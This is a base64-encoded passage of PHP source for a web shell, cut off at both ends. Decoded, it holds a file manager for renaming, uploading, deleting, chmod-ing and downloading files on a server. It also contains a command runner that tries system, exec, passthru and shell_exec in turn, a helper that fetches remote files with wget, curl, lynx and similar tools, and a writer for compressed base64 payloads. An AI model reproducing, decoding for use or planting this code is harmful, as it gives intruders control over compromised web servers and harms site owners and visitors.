C8+IAogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIkNhbmNlbFwiIHZhbHVlPVwiQ2FuY2VsXCIgCiAgICAgICAgICAgIG9uY2xpY2s9XCJ0dWthcignIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0zJyk7XCIgLz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4KICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZvbGRlcikpLiI8L3RkPgogICAgICAgICAgICA8dGQ+PGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtJyk7XCI+UmVuYW1lPC9hPiB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTQnKTtcIj5VcGxvYWQ8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2ZkZWxldGU9Ii4kcHdkLiRmb2xkZXIuIlwiPkRlbGV0ZTwvYT48L3NwYW4+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIGlkPVwiIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTRcIiBtZXRob2Q9XCJwb3N0XCIgZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInlcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cImZpbGVcIiBuYW1lPVwiZmlsZVwiIHNpemU9XCIyMFwiLz48YnI+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0elwiIG5hbWU9XCJwYXRoXCIgdHlwZT1cInRleHRcIiBzaXplPVwiMzNcIiB2YWx1ZT1cIiIuJHB3ZC4kZm9sZGVyLkRJUkVDVE9SWV9TRVBBUkFUT1IuIlwiIC8+PGJyPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiBuYW1lPVwidXBsb2FkY29tcHRcIiB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJVcGxvYWRcIi8+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiQ2FuY2VsXCIgdmFsdWU9XCJDYW5jZWxcIiAKICAgICAgICAgICAgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTQnKTtcIiAvPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDwvdGQ+PC90cj4iOwogICAgICAgIH0KICAgIH0KCiAgICBmb3JlYWNoKCRmbmFtZSBhcyAkZmlsZSl7CiAgICAgICAgJGZ1bGwgPSAkcHdkLiRmaWxlOwogICAgICAgIGlmKCEkd2luICYmICRwb3NpeCl7CiAgICAgICAgICAgICRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTsKICAgICAgICAgICAgJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAgICAgICAgICAgJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICAkb3duZXIgPSAkdXNlcjsKICAgICAgICB9ICAgICAgIAogICAgICAgICRidWZmIC49ICI8dHI+PHRkPjxhIGlkPVwiIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmtcIiBocmVmPVwiP3k9JHB3ZCZhbXA7dmlldz0kZnVsbFwiPjxiPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBWmlTMGRFQVA4QS93RC9vTDJua3dBQUFBbHdTRmx6QUFBTEV3QUFDeE1CQUpxY0dBQUFBQWQwU1UxRkI5b0pCaGNUSnYyQjJkNEFBQUpNU1VSQlZEakxiWk85VGh4WkVJVy9xbHZkdE0zOEJOZ0pRbVFnSkdkK0EvTVFCTHdHaml3SDNud2RrU0x0TzJ4RVJHNUxxeFhSU0lSMllEZkQ0R2tHTTBQM3JiNGI5UEF6MGw3cFNsV2xXMGZubkxvbEFJUEI0UFhoNGVGdW51Y0FJSUx3ZEVTZVp5QWlmbnA2K3U5b05MbzNnTTNOelRkSFIrLy96dkpNelN5SktLb2RpSWc4QVhheGVJejFiRFo3TXhxTmZ0Z1NVUkRXeTdMVW5aMGRZbXhBRkFWRWxJNkFFQ3lnSXNRUXNpekxCT0FCQURPaktBcHFoN3U3R29DVVdpd1liZXRvVUhyclBjd0Nxb0YyS1VlWEx6RXpCdjArdVFtU0hNRVo5RjZTWmNyNmk0SXNCT2EvYjdIUU1hSHRJQXdnTGRIYWxEQTFldjBlUWJTanJFclF3SnBxRjRlQXgvaG9xRDEzMm1Na0pyaTV1U09sRmhFaHBVUUlpb2p3YW1PRE5zbGpmVVdDcXBMbk9hYUNTS0p0bmFCQ3NaWWpBbGxtWEk0dmFlb2FWWDBjYlNkaG1VUjN6QUt2TmpZNlZpb28wdFd6Z0VvbktiVytLa0dXdDNVbnQwQ2VHZkpzOWcrVVUwckVHSEgvSHcvTWpINi9UK1BPZEZvUk5LQ2hNMjJ4bU9QZXNwalBHUTZIcE5RMjd0NnNBQ0RTTmFueW9sakRMRWRWYUZPTGU4WmtVaks1dWtxM3Q3OWxQQzcvT0RrNUdhK1k2TzVNcXltTnczVjF5M2h5emZYMGhxdkpMeWJYRmQrK2YyZDNkMGRtcytxdmc0T0R6OGZIeDAvTHNiZTM5NjRzUzcrNHVFanVucHFtU2U2ZTNEM041L04wV1pidGx5OWYwOW5aMlovYjI5djJmTEVldnZLOXF2N2MydG9LaThVaWlRaXFIYm02cmlXNmExM2ZuK3p2NzMrb3FvcmhjTGdLVUZYVlArZm41MitMb25qOElMSjBQOFpJQ0NGOS9QVHBDbGhwQnZnUGVsb0w5VTU1TklBQUFBQUFTVVZPUks1Q1lJST0nIC8+ICAgJGZpbGU8L2I+PC9hPgogICAgICAgIDxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRuYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPgogICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgLz4KICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIlJlbmFtZVwiIHZhbHVlPVwiUmVuYW1lXCIgLz4KICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIkNhbmNlbFwiIHZhbHVlPVwiQ2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtJyk7XCIgLz4KICAgICAgICA8L2Zvcm0+PC90ZD48dGQ+Ii51a3VyYW4oJGZ1bGwpLiI8L3RkPjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPjx0ZD48Y2VudGVyPgogICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtMicpO1wiPiIuZ2V0X3Blcm1zKCRmdWxsKS4iPC9hPgogICAgICAgIDxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTJcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IAo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNTBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXd2YWx1ZVwiIHZhbHVlPVwiIi5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGwpKSwgLTQpLiJcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJDaG1vZFwiIHZhbHVlPVwiQ2htb2RcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJDYW5jZWxcIiB2YWx1ZT1cIkNhbmNlbFwiIG9uY2xpY2s9XCJ0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTInKTtcIiAvPjwvZm9ybT48L2NlbnRlcj48L3RkPgogICAgICAgIDx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRmdWxsKSkuIjwvdGQ+CiAgICAgICAgPHRkPjxhIGhyZWY9XCI/eT0kcHdkJmFtcDtlZGl0PSRmdWxsXCI+RWRpdDwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybScpO1wiPlJlbmFtZTwvYT4gfCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGVsZXRlPSRmdWxsXCI+RGVsZXRlPC9hPiB8IDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkbD0kZnVsbFwiPkRvd25sb2FkPC9hPiZuYnNwOyg8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGxnemlwPSRmdWxsXCI+R3o8L2E+KTwvdGQ+PC90cj4iOwogICAgfQogICAgJGJ1ZmYgLj0gIjwvdGFibGU+IjsKICAgIHJldHVybiAkYnVmZjsKfQoKZnVuY3Rpb24gdWt1cmFuKCRmaWxlKXsKICAgIGlmKCRzaXplID0gQGZpbGVzaXplKCRmaWxlKSl7CiAgICAgICAgaWYoJHNpemUgPD0gMTAyNCkgcmV0dXJuICRzaXplOwogICAgICAgIGVsc2V7CiAgICAgICAgICAgIGlmKCRzaXplIDw9IDEwMjQqMTAyNCkgewogICAgICAgICAgICAgICAgJHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0LDIpOzsKICAgICAgICAgICAgICAgIHJldHVybiAiJHNpemUga2IiOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgJHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0IC8gMTAyNCwyKTsKICAgICAgICAgICAgICAgIHJldHVybiAiJHNpemUgbWIiOyAgCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBlbHNlIHJldHVybiAiPz8/IjsKfQoKZnVuY3Rpb24gZXhlKCRjbWQpewogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICAgIEBvYl9zdGFydCgpOwogICAgICAgIEBzeXN0ZW0oJGNtZCk7CiAgICAgICAgJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgQG9iX2VuZF9jbGVhbigpOwogICAgICAgIHJldHVybiAkYnVmZjsKICAgIH0KICAgIGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgIEBleGVjKCRjbWQsJHJlc3VsdHMpOwogICAgICAgICRidWZmID0gIiI7CiAgICAgICAgZm9yZWFjaCgkcmVzdWx0cyBhcyAkcmVzdWx0KXsKICAgICAgICAgICAgJGJ1ZmYgLj0gJHJlc3VsdDsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRidWZmOwogICAgfQogICAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewogICAgICAgIEBvYl9zdGFydCgpOwogICAgICAgIEBwYXNzdGhydSgkY21kKTsKICAgICAgICAkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBAb2JfZW5kX2NsZWFuKCk7CiAgICAgICAgcmV0dXJuICRidWZmOwogICAgfQogICAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsKICAgICAgICAkYnVmZiA9IEBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgIHJldHVybiAkYnVmZjsKICAgIH0KfQoKZnVuY3Rpb24gdHVsaXMoJGZpbGUsJHRleHQpewogICAgJHRleHR6ID0gZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJHRleHQpKTsKICAgICBpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInciKSkKICAgICB7CiAgICAgICAgIEBmcHV0cygkZmlsZXosJHRleHR6KTsKICAgICAgICAgQGZjbG9zZSgkZmlsZSk7CiAgICAgfQp9CgpmdW5jdGlvbiBhbWJpbCgkbGluaywkZmlsZSkgeyAKICAgaWYoJGZwID0gQGZvcGVuKCRsaW5rLCJyIikpewogICAgICAgd2hpbGUoIWZlb2YoJGZwKSkgeyAKICAgICAgICAgICAgJGNvbnQuPSBAZnJlYWQoJGZwLDEwMjQpOyAKICAgICAgICB9IAogICAgICAgIEBmY2xvc2UoJGZwKTsgCiAgICAgICAkZnAyID0gQGZvcGVuKCRmaWxlLCJ3Iik7IAogICAgICAgQGZ3cml0ZSgkZnAyLCRjb250KTsgCiAgICAgICBAZmNsb3NlKCRmcDIpOyAKICAgfQp9CgpmdW5jdGlvbiB3aGljaCgkcHIpewogICAgJHBhdGggPSBleGUoIndoaWNoICRwciIpOwogICAgaWYoIWVtcHR5KCRwYXRoKSkgeyByZXR1cm4gdHJpbSgkcGF0aCk7IH0gZWxzZSB7IHJldHVybiB0cmltKCRwcik7IH0KfQoKZnVuY3Rpb24gZG93bmxvYWQoJGNtZCwkdXJsKXsKICAgICRuYW1hZmlsZSA9IGJhc2VuYW1lKCR1cmwpOwogICAgc3dpdGNoKCRjbWQpIHsKICAgICAgICBjYXNlICd3d2dldCc6IGV4ZSh3aGljaCgnd2dldCcpLiIgIi4kdXJsLiIgLU8gIi4kbmFtYWZpbGUpO2JyZWFrOwogICAgICAgIGNhc2UgJ3dseW54JzogZXhlKHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJHVybC4iID4gIi4kbmFtYWZpbGUpO2JyZWFrOwogICAgICAgIGNhc2UgJ3dmcmVhZCcgOiBhbWJpbCgkd3VybCwkbmFtYWZpbGUpO2JyZWFrOwogICAgICAgIGNhc2UgJ3dmZXRjaCcgOiBleGUod2hpY2goJ2ZldGNoJykuIiAtbyAiLiRuYW1hZmlsZS4iIC1wICIuJHVybCk7YnJlYWs7CiAgICAgICAgY2FzZSAnd2xpbmtzJyA6IGV4ZSh3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7CiAgICAgICAgY2FzZSAnd2dldCcgOiBleGUod2hpY2goJ0dFVCcpLiIgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7CiAgICAgICAgY2FzZSAnd2N1cmwnIDogZXhlKHdoaWNoKCdjdXJsJykuIiAiLiR1cmwuIiAtbyAiLiRuYW1hZmlsZSk7YnJlYWs7CiAgICAgICAgZGVmYXVsdDogYnJlYWs7CiAgICB9CiAgICByZXR1cm4gJG5hbWFmaWxlOwp9CgpmdW5jdGlvbiBnZXRfcGVybXMoJGZpbGUpCnsKICAgIGlmKCRtb2RlPUBmaWxlcGVybXMoJGZpbGUpKXsKICAgICAgICAkcGVybXM9Jyc7CiAgICAgICAgJHBlcm1zIC49ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsKICAgICAgICAkcGVybXMgLj0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOwogICAgICAgICRwZXJtcyAuPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7CiAgICAgICAgJHBlcm1zIC49ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsKICAgICAgICAkcGVybXMgLj0gKCRtb2RlICYgMDAwMjApID8gJ3cnIDogJy0nOwogICAgICAgICRwZXJtcyAuPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7CiAgICAgICAgJHBlcm1zIC49ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsKICAgICAgICAkcGVybXMgLj0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOwogICAgICAgICRwZXJtcyAuPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7CiAgICAgICAgcmV0dXJuICRwZXJtczsKICAgIH0KICAgIGVsc2UgcmV0dXJuICI/Pz8/Pz8/Pz8/IjsKfQoKZnVuY3Rpb24gY2xlYXJzcGFjZSgkdGV4dCl7CiAgICByZXR1cm4gc3RyX3JlcGxhY2UoIiAiLCJfIiwkdGV4dCk7Cn0KCgo/Pgo8aHRtbD48aGVhZD48bGluayByZWw9IlNIT1JUQ1VUIElDT04iIGhyZWY9Imh0dHA6Ly9vaTU4LnRpbnlwaWMuY29tLzEwcjMzbXEuanBnIj48dGl0bGU+PD89JHRpdGxlID8+IDw/PSR2ZXJzaSA/PjwvdGl0bGU+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gdHVrYXIobGFtYSxiYXJ1KXsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGxhbWEpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChiYXJ1KS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzsKfQo8L3NjcmlwdD48c3R5bGUgdHlwZT0idGV4dC9jc3MiPmJvZHksIGE6aG92ZXIge2N1cnNvcjogdXJsKGh0dHA6Ly9jdXIuY3Vyc29ycy00dS5uZXQvY3Vyc29ycy9jdXItMTEvY3VyMTA0OC5jdXIpLCBwcm9ncmVzcyAhaW1wb3J0YW50O308L3N0eWxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHsgYmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmFuO2JhY2tncm91bmQ6IzAwMDtiYWNrZ3JvdW5kLWltYWdlOiB1cmwoIjw/PSRiYWNrZ3JvdW5kOyA/PiIpO2JhY2tncm91bmQtcG9zaXRpb246IGNlbnRlcjsgICAgYmFja2dyb3VuZC1hdHRhY2htZW50OiBmaXhlZDtiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0OyB9IAphIHt0ZXh0LWRlY29yYXRpb246bm9uZTsKfQphOmhvdmVyewpib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMDBmZjAwOyAKfQoqewogICAgZm9udC1zaXplOjExcHg7CiAgICBmb250LWZhbWlseTpUYWhvbWEsVmVyZGFuYSxBcmlhbDsKICAgIGNvbG9yOjw/PSRjb2xvcjsgPz47Cn0KI21lbnV7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyYW47CiAgICBtYXJnaW46OHB4IDJweCA0cHggMnB4Owp9CgojbWVudSBhewogICAgcGFkZGluZzo0cHggMThweDsKICAgIG1hcmdpbjowOwogICAgYmFja2dyb3VuZDojMjIyMjIyOwogICAgdGV4dC1kZWNvcmF0aW9uOm5vbmU7CiAgICBsZXR0ZXItc3BhY2luZzoycHg7CiAgICAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93LXdlYmtpdC1ib3JkZXItcmFkaXVzOiA1cHg7IC1raHRtbC1ib3JkZXItcmFkaXVzOiA1cHg7IGJvcmRlci1yYWRpdXM6IDVweDsKfQojbWVudSBhOmhvdmVyewogICAgYmFja2dyb3VuZDojMTkxOTE5OwogICAgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMzsKICAgIGJvcmRlci10b3A6MXB4IHNvbGlkICMzMzMzMzM7Cn0KCi50YWJuZXR7CiAgICBtYXJnaW46MTVweCBhdXRvIDAgYXV0bzsKICAgIGJvcmRlcjogMXB4IHNvbGlkICMzMzMzMzM7CiAgICBjb2xvcjogI0ZGQ0MwMDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDt9IAoubXN1cGlhbml7IGZvbnQtZmFtaWx5OlZpdmFsZGk7Zm9udC1zaXplOjUwcHg7Y29sb3I6ICMwMEZGMDA7fQoudGFibmV0ewogICAgbWFyZ2luOjE1cHggYXV0byAwIGF1dG87CiAgICBib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5tYWluIHsKICAgIHdpZHRoOjEwMCU7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmdheWEgewogICAgY29sb3I6ICRjb2xvcjsKfQouaW5wdXR6ewogICAgYmFja2dyb3VuZDojMTExMTExOwogICAgYm9yZGVyOjA7CiAgICBwYWRkaW5nOjJweDsKICAgIGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMyMjIyMjI7CiAgICBib3JkZXItdG9wOjFweCBzb2xpZCAjMjIyMjIyOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9IAouaW5wdXR6YnV0ewogICAgYmFja2dyb3VuZDojMTExMTExOwogICAgY29sb3I6PD89JGNvbG9yOyA/PjsKICAgIG1hcmdpbjowIDRweDsKICAgIGJvcmRlcjoxcHggc29saWQgIzQ0NDQ0NDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKCn0KLmlucHV0ejpob3ZlciwgLmlucHV0emJ1dDpob3ZlcnsKICAgIGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMGZmMDA7CiAgICBib3JkZXItdG9wOjFweCBzb2xpZCAjMDBmZjAwOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5vdXRwdXQgewogICAgbWFyZ2luOmF1dG87CiAgICBib3JkZXI6MXB4IHNvbGlkIDw/PSRjb2xvcjsgPz47CiAgICB3aWR0aDoxMDAlOwogICAgaGVpZ2h0OjQwMHB4OwogICAgYmFja2dyb3VuZDojMDAwMDAwOwogICAgcGFkZGluZzowIDJweDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQouY21kYm94ewogICAgd2lkdGg6MTAwJTsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQouaGVhZF9pbmZveyAKICAgIHBhZGRpbmc6IDAgNHB4OyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9IAouZXhwbG9kZWR7CiAgICBmb250LXNpemU6MzBweDsKICAgIHBhZGRpbmc6MDsKICAgIGNvbG9yOiM0NDQ0NDQ7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmV4cGxvZGVkX3RibHsKICAgIHRleHQtYWxpZ246Y2VudGVyOwogICAgbWFyZ2luOjAgNHB4IDAgMDsKICAgIHBhZGRpbmc6MCA0cHggMCAwOwogICAgYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMzMzMzMzOwp9Ci5waHBpbmZvIHRhYmxlewogICAgd2lkdGg6MTAwJTsKICAgIHBhZGRpbmc6MCAwIDAgMDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQoucGhwaW5mbyB0ZHsKICAgIGJhY2tncm91bmQ6IzExMTExMTsKICAgIGNvbG9yOiNjY2NjY2M7CnBhZGRpbmc6NnB4IDhweDs7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLnBocGluZm8gdGgsIHRoewogICAgYmFja2dyb3VuZDojMTkxOTE5OwogICAgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMzsKZm9udC13ZWlnaHQ6bm9ybWFsOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5waHBpbmZvIGgyLCAucGhwaW5mbyBoMiBhewogICAgdGV4dC1hbGlnbjpjZW50ZXI7CiAgICBmb250LXNpemU6MTZweDsKICAgIHBhZGRpbmc6MDsKICAgIG1hcmdpbjozMHB4IDAgMCAwOwogICAgYmFja2dyb3VuZDojMjIyMjIyOwogICAgcGFkZGluZzo0cHggMDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQouZXhwbG9yZXsKd2lkdGg6MTAwJTsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQouZXhwbG9yZSBhIHsKdGV4dC1kZWNvcmF0aW9uOm5vbmU7Cn0KLmV4cGxvcmUgdGR7CmJvcmRlci1ib3R0b206MXB4IHNvbGlkICMzMzMzMzM7CnBhZGRpbmc6MCA4cHg7CmxpbmUtaGVpZ2h0OjI0cH